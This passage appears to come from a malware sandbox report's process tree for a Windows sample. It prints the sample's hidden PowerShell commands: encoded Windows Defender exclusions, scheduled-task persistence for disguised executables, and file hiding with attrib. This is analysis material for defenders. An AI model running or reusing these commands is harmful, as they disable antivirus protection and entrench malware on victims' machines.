  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:5908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "NyxarWorkerState" /t REG_SZ /d "COMPLETE|11111111-1111-1111-1111-111111111111|C:\Users\Admin\AppData\Local\Temp\\out_11111111-1111-1111-1111-111111111111_1784277463159|3284|1784277531299" /f 2>nul'"
  2⤵
  PID:6804
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v NyxarWorkerState /t REG_SZ /d COMPLETE|11111111-1111-1111-1111-111111111111|C:\Users\Admin\AppData\Local\Temp\\out_11111111-1111-1111-1111-111111111111_1784277463159|3284|1784277531299 /f 2>nul"
    3⤵
    PID:3112
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v NyxarWorkerState /t REG_SZ /d COMPLETE
      4⤵
      Modifies registry key
      PID:2640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAXABcAFQAbwBrAGUAbgBTAGUAcgB2AGkAYwBlAC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAFQAbwBrAGUAbgBTAGUAcgB2AGkAYwBlAC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:6512
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "TokenServiceSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Credentials\TokenService.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:7120
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn TokenServiceSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Credentials\TokenService.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:6432
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn TokenServiceSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Credentials\TokenService.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "TokenServiceSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Credentials\TokenService.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:940
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn TokenServiceSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Credentials\TokenService.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:4792
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn TokenServiceSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Credentials\TokenService.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates" 2>nul'"
  2⤵
  PID:6676
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:4344
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates
      4⤵
      Views/modifies file attributes
      PID:5732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates\CredentialHost.exe" 2>nul'"
  2⤵
  PID:6888
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates\CredentialHost.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6012
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates\CredentialHost.exe
      4⤵
      Views/modifies file attributes
      PID:1272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABTAHkAcwB0AGUAbQBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:4524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABTAHkAcwB0AGUAbQBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwBcAFwAQwByAGUAZABlAG4AdABpAGEAbABIAG8AcwB0AC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:6300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAEMAcgBlAGQAZQBuAHQAaQBhAGwASABvAHMAdAAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:2496
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "CredentialHostSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates\CredentialHost.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:6180
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn CredentialHostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates\CredentialHost.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:5584
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn CredentialHostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates\CredentialHost.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "CredentialHostSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates\CredentialHost.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:4136
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn CredentialHostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates\CredentialHost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:4804
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn CredentialHostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates\CredentialHost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization" 2>nul'"
  2⤵
  PID:6276
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6532
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization
      4⤵
      Views/modifies file attributes
      PID:2504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization\certutil_host.exe" 2>nul'"
  2⤵
  PID:6472
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization\certutil_host.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:1936
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization\certutil_host.exe
      4⤵
      Views/modifies file attributes
      PID:6964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABJAG4AcAB1AHQAUABlAHIAcwBvAG4AYQBsAGkAegBhAHQAaQBvAG4AJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:1188
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABJAG4AcAB1AHQAUABlAHIAcwBvAG4AYQBsAGkAegBhAHQAaQBvAG4AXABcAGMAZQByAHQAdQB0AGkAbABfAGgAbwBzAHQALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:6208
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAGMAZQByAHQAdQB0AGkAbABfAGgAbwBzAHQALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:6072
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "certutil_hostSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization\certutil_host.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:2440
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn certutil_hostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization\certutil_host.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:2076
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn certutil_hostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization\certutil_host.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2336
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "certutil_hostSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization\certutil_host.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3920
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn certutil_hostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization\certutil_host.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:3980
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn certutil_hostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization\certutil_host.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\PlayReady" 2>nul'"
  2⤵
  PID:7124
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\PlayReady 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:1392
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\PlayReady
      4⤵
      Views/modifies file attributes
      PID:7140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\PlayReady\InputSwitch.exe" 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3196
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\PlayReady\InputSwitch.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6656
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\PlayReady\InputSwitch.exe
      4⤵
      Views/modifies file attributes
      PID:6580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABQAGwAYQB5AFIAZQBhAGQAeQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:5860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABQAGwAYQB5AFIAZQBhAGQAeQBcAFwASQBuAHAAdQB0AFMAdwBpAHQAYwBoAC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:5156
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAEkAbgBwAHUAdABTAHcAaQB0AGMAaAAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:2460
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
